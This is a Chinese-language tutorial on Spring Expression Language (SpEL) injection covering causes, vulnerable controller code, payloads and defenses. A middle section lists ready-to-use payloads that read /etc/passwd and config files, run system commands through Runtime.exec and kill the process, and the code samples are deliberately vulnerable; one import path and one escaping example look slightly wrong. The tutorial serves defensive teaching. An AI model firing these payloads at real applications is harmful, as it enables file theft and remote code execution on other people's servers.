SpEL 表达式注入漏洞
SpEL 表达式注入漏洞 完全解析(成因+案例+Payload+防御)
一、什么是 SpEL?
SpEL 全称 Spring Expression Language(Spring表达式语言),是 Spring 框架内置的强大表达式语言,支持在运行时动态解析和执行表达式,核心语法使用 ${}(属性占位符)和 #{}(表达式执行符),其中 #{} 是执行 SpEL 表达式的核心标识,也是漏洞的核心触发点。
SpEL 能力极强,支持:访问类属性/方法、实例化对象、调用静态方法、操作集合、逻辑运算等,本身是安全的语法,漏洞是「使用不当」导致的。
二、SpEL 表达式注入漏洞的【核心成因】✅(重中之重)
SpEL 注入漏洞产生的唯一根本原因:
开发人员将 用户可控的外部输入(如:前端传参、URL参数、请求体、第三方接口返回值等)直接拼接到 SpEL 表达式字符串中,再交由 Spring 的 SpEL 解析器执行。
简单说:用户输入 → 直接拼接进 #{表达式} → 解析器执行,这个过程中用户输入的内容不再是「普通数据」,而是「可执行的 SpEL 语法」,最终导致恶意代码被执行。
三、SpEL 注入为什么「极度危险」?
SpEL 并非简单的表达式解析,它可以直接调用 JDK 原生类、执行 Java 代码,拥有和当前应用进程完全相同的权限,一旦触发注入,攻击者可以实现:
- 读取服务器任意文件(/etc/passwd、配置文件、敏感业务数据);
- 获取系统环境变量、服务器硬件信息、应用上下文信息;
- 执行任意系统命令(如:whoami、ls、rm -rf、反弹shell);
- 调用 Java 反射机制,加载恶意类,实现完整的远程代码执行(RCE);
- 篡改服务器文件、删除数据、植入后门;
- 提权渗透,控制整个服务器。
四、SpEL 解析的核心 API(漏洞触发的核心组件)
Spring 中解析执行 SpEL 表达式的核心类是:
org.springframework.expression.spel.standard.SpelExpressionParser:SpEL 表达式解析器org.springframework.expression.EvaluationContext:表达式执行的上下文环境(默认用StandardEvaluationContext)- 核心执行方法:
parser.parseExpression(表达式字符串).getValue(上下文)
所有 SpEL 注入漏洞,最终都是通过这几个核心 API 触发的,只要这几个API的入参是「用户可控的拼接字符串」,必然存在漏洞。
五、漏洞代码案例(真实开发高频场景,共2类最典型)
✅ 案例1:原生 SpEL 解析器 拼接用户输入(最常见,纯代码层面)
这是最典型的漏洞写法,开发人员将用户输入直接拼接进 #{} 表达式中,无任何过滤,直接执行:
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class SpelVulController {
// 漏洞核心代码
@GetMapping("/spel/test")
public String spelVul(@RequestParam String userInput) {
// 致命操作:用户输入 直接拼接到 SpEL 表达式字符串中
String spelExpr = "#{" + userInput + "}";
// 创建解析器并执行表达式
SpelExpressionParser parser = new SpelExpressionParser();
Object result = parser.parseExpression(spelExpr).getValue();
return "执行结果:" + result;
}
}
此时攻击者只需要在 userInput 参数中传入恶意 SpEL 语法,即可执行任意操作,比如访问 /spel/test?userInput=T(java.lang.Runtime).getRuntime().exec('whoami')。
✅ 案例2:Spring @Value 注解的 SpEL 注入(配置/注解层面,隐蔽性高)
这是开发中极易踩坑的隐蔽漏洞场景,@Value 注解是 Spring 中注入配置的核心注解,它原生支持解析 SpEL 表达式(#{语法})。
如果 @Value 注入的内容不是「固定的配置文件值」,而是用户可控的动态值,则会触发注入:
import org.springframework.beans.factory.annotation.Value;
import org.springframework.stereotype.Service;
@Service
public class SpelValueVulService {
// 漏洞场景1:如果配置项的值是用户可控的(比如通过外部配置中心动态传入)
@Value("#{${evil.config}}")
private String evilValue;
// 漏洞场景2:更隐蔽 - 开发人员手动拼接用户输入到@Value的表达式中
public void setUserConfig(String userConfig) {
String spelExpr = "#{" + userConfig + "}";
// 若通过反射/动态配置方式注入该表达式,直接触发漏洞
}
}
注意:
@Value("${xxx}")是属性占位符,只会读取配置,不会执行表达式,无漏洞;@Value("#{xxx}")是表达式执行符,会解析执行 SpEL 语法,是漏洞触发点。
六、经典高危 SpEL 注入 Payload(可直接使用)
以下是攻击者常用的恶意 SpEL 表达式,覆盖「信息泄露、命令执行、文件读取」等核心攻击场景,均可以直接在漏洞接口执行:
✔️ 1. 基础信息探测(无危害,用于验证是否存在注入)
# 获取Java版本
#{T(java.lang.System).getProperty('java.version')}
# 获取服务器操作系统
#{T(java.lang.System).getProperty('os.name')}
# 获取系统环境变量
#{T(java.lang.System).getenv('PATH')}
# 获取当前应用工作目录
#{T(java.io.File).new('.').getAbsolutePath()}
✔️ 2. 读取服务器任意文件(高危,信息泄露)
# 读取Linux系统敏感文件 /etc/passwd
#{T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get('/etc/passwd'))}
# 读取Windows系统hosts文件
#{T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get('C:/Windows/System32/drivers/etc/hosts'))}
# 读取应用配置文件(比如SpringBoot的application.yml)
#{T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get('./application.yml'))}
✔️ 3. 执行任意系统命令(极高危,RCE 远程代码执行)
这是最核心的攻击 Payload,SpEL 调用 java.lang.Runtime 类执行系统命令,Linux/Windows 通用:
# Linux 执行 whoami(查看当前进程用户)
#{T(java.lang.Runtime).getRuntime().exec('whoami')}
# Linux 执行 ls -l(查看当前目录文件)
#{T(java.lang.Runtime).getRuntime().exec('ls -l')}
# Windows 执行 calc.exe(打开计算器,验证漏洞)
#{T(java.lang.Runtime).getRuntime().exec('calc.exe')}
# Windows 执行 cmd /c ipconfig(查看网卡信息)
#{T(java.lang.Runtime).getRuntime().exec('cmd /c ipconfig')}
补充:如果执行命令无返回结果,可通过「将命令结果写入文件」的方式读取:
exec('whoami > /tmp/result.txt'),再通过文件读取Payload读取结果。
✔️ 4. 调用静态方法执行高危操作
# 终止当前应用进程(服务崩溃)
#{T(java.lang.System).exit(0)}
# 获取当前应用的所有线程信息(用于进一步渗透)
#{T(java.lang.Thread).getAllStackTraces().keySet()}
七、【终极解决方案】SpEL 注入漏洞的防御方案 ✅✅✅(可落地,按优先级排序)
核心防御原则:从根源上切断「用户输入」与「SpEL表达式」的直接拼接
SpEL 注入的本质是「用户输入被当作表达式语法执行」,所以所有防御方案的核心都是:让用户输入永远只是「数据」,而不是「可执行的语法」,以下方案按「优先级/有效性」从高到低排序,组合使用效果最佳。
✅ 方案一:使用 SpEL 「参数化表达式」+ 绑定变量(【最优解,根治漏洞】强烈推荐)
这是唯一能从根源上杜绝漏洞的方案,也是 Spring 官方推荐的安全写法,核心思想:
- 编写固定的、硬编码的 SpEL 表达式模板,表达式中用「占位符(如:
#param)」表示需要传入的动态参数; - 将用户输入的动态值通过
EvaluationContext绑定为「变量」,传入表达式中; - 解析器执行时,会将占位符替换为「纯数据值」,用户输入的内容永远不会被当作 SpEL 语法解析执行。
✅ 安全代码对比(修复案例1的漏洞代码)
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.StandardEvaluationContext;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class SpelSafeController {
@GetMapping("/spel/safe")
public String spelSafe(@RequestParam String userInput) {
SpelExpressionParser parser = new SpelExpressionParser();
// 1. 固定的表达式模板,#input是「变量占位符」,不是用户输入的内容
String safeSpelExpr = "#input";
// 2. 创建上下文,绑定变量:将用户输入绑定为「input」变量,仅作为数据传入
StandardEvaluationContext context = new StandardEvaluationContext();
context.setVariable("input", userInput);
// 3. 执行表达式:用户输入永远是纯数据,不会被解析为SpEL语法
Object result = parser.parseExpression(safeSpelExpr).getValue(context);
return "安全执行结果:" + result;
}
}
此时即使用户传入恶意Payload:T(java.lang.Runtime).getRuntime().exec('whoami'),解析器也只会将其当作「普通字符串」返回,不会执行任何命令,彻底根治漏洞。
✅ 方案二:严格限制 SpEL 表达式的「执行权限」(沙箱机制,兜底防护)
如果业务场景中必须拼接表达式(极少数情况),可以通过配置 EvaluationContext 来禁用 SpEL 的高危能力,实现「沙箱隔离」,即使有漏网之鱼,也能限制攻击者的操作范围,核心是禁用:
- 调用静态方法(
T(类名)语法); - 实例化新对象(
new 类名()语法); - 访问系统敏感类(
java.lang.Runtime、java.nio.file.Files等)。
✅ 安全代码:配置沙箱上下文,禁用高危操作
import org.springframework.expression.spel.SpelCompilerMode;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.SimpleEvaluationContext;
public class SpelSandbox {
public static void safeParse(String spelExpr) {
// 方式1:使用 SimpleEvaluationContext(推荐,轻量级沙箱)
// 仅支持:属性访问、简单表达式运算,禁用静态方法、对象实例化、反射等所有高危操作
SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
SpelExpressionParser parser = new SpelExpressionParser(SpelCompilerMode.OFF);
Object result = parser.parseExpression(spelExpr).getValue(context);
}
}
关键说明:
SimpleEvaluationContext是 Spring 专门为「安全场景」设计的轻量级上下文,默认禁用所有高危能力,仅保留基础的表达式运算,是沙箱防护的最优选择;而StandardEvaluationContext是全功能上下文,默认无限制,需要手动配置权限。
✅ 方案三:对用户输入做「严格的白名单校验」(兜底手段,不可单独依赖)
对所有传入的用户输入,执行白名单过滤(不是黑名单!),只允许「合法的字符/内容」通过,拒绝所有非法输入。
- ❌ 禁止使用「黑名单过滤」:SpEL 语法极其灵活,攻击者可以通过各种变形绕过黑名单(比如:大小写混淆、反射调用、类别名等),黑名单完全无效;
- ✅ 推荐「白名单过滤」:根据业务场景,只允许指定的字符,比如:字母、数字、下划线、短横线等,其他字符直接拒绝。
✅ 示例:白名单校验工具方法
public class InputValidator {
// 仅允许字母、数字、下划线、短横线,其他字符直接返回非法
public static boolean isValidInput(String input) {
if (input == null || input.isEmpty()) {
return true;
}
return input.matches("^[a-zA-Z0-9_-]+$");
}
}
注意:该方案仅作为兜底,不能单独依赖,必须配合前两种方案使用,因为业务场景可能无法限制输入内容,此时白名单就失效了。
✅ 方案四:禁用敏感场景的 SpEL 解析(业务层面防护)
- **谨慎使用 @Value 注解的 #{表达式}**:
@Value尽量只用于注入「配置文件的固定值」(如:@Value("${server.port}")),不要注入任何用户可控的动态值; - 避免在对外接口中使用 SpEL 解析:如果业务不需要动态解析表达式,直接移除 SpEL 解析器的使用,改用硬编码逻辑,从源头避免漏洞;
- 过滤请求中的 #{ 和 } 字符:在网关/过滤器层面,对所有请求参数、请求体中的
#{和}进行转义(如:替换为#{→{,}→}),让其失去表达式执行能力。
八、补充:关键注意事项
1. SpEL 注入 ≠ OGNL 注入
两者都是「表达式注入漏洞」,但本质不同:
- SpEL:Spring 框架专属,语法是
#{},核心解析器是SpelExpressionParser; - OGNL:Struts2 框架专属,语法是
%{},核心解析器是OgnlValueStack;
共同点:漏洞成因都是「用户输入直接拼接进表达式」,防御方案都是「参数化传入+沙箱防护」。
2. SpEL 本身是安全的
再次强调:SpEL 语法和解析器本身没有漏洞,漏洞是开发人员「使用不当」导致的,Spring 官方也一直在修复 SpEL 的潜在风险,只要按安全写法使用,完全可以避免漏洞。
九、总结(核心知识点速记)
- SpEL注入核心成因:用户可控输入 直接拼接 进 SpEL 表达式字符串,被解析器执行;
- 核心触发标识:
#{}是 SpEL 表达式执行符,是漏洞的核心触发点; - 漏洞危害等级:极高危,可直接实现 RCE 远程代码执行,控制服务器;
- 最优防御方案:使用「参数化表达式+绑定变量」,让用户输入永远是纯数据,不参与表达式解析;
- 兜底防护方案:沙箱机制(
SimpleEvaluationContext)+ 白名单输入校验; - 关键禁忌:永远不要相信用户输入,永远不要直接拼接用户输入到表达式中。
希望这篇解析能帮你彻底理解 SpEL 注入漏洞,从根源上避免踩坑!💻✅
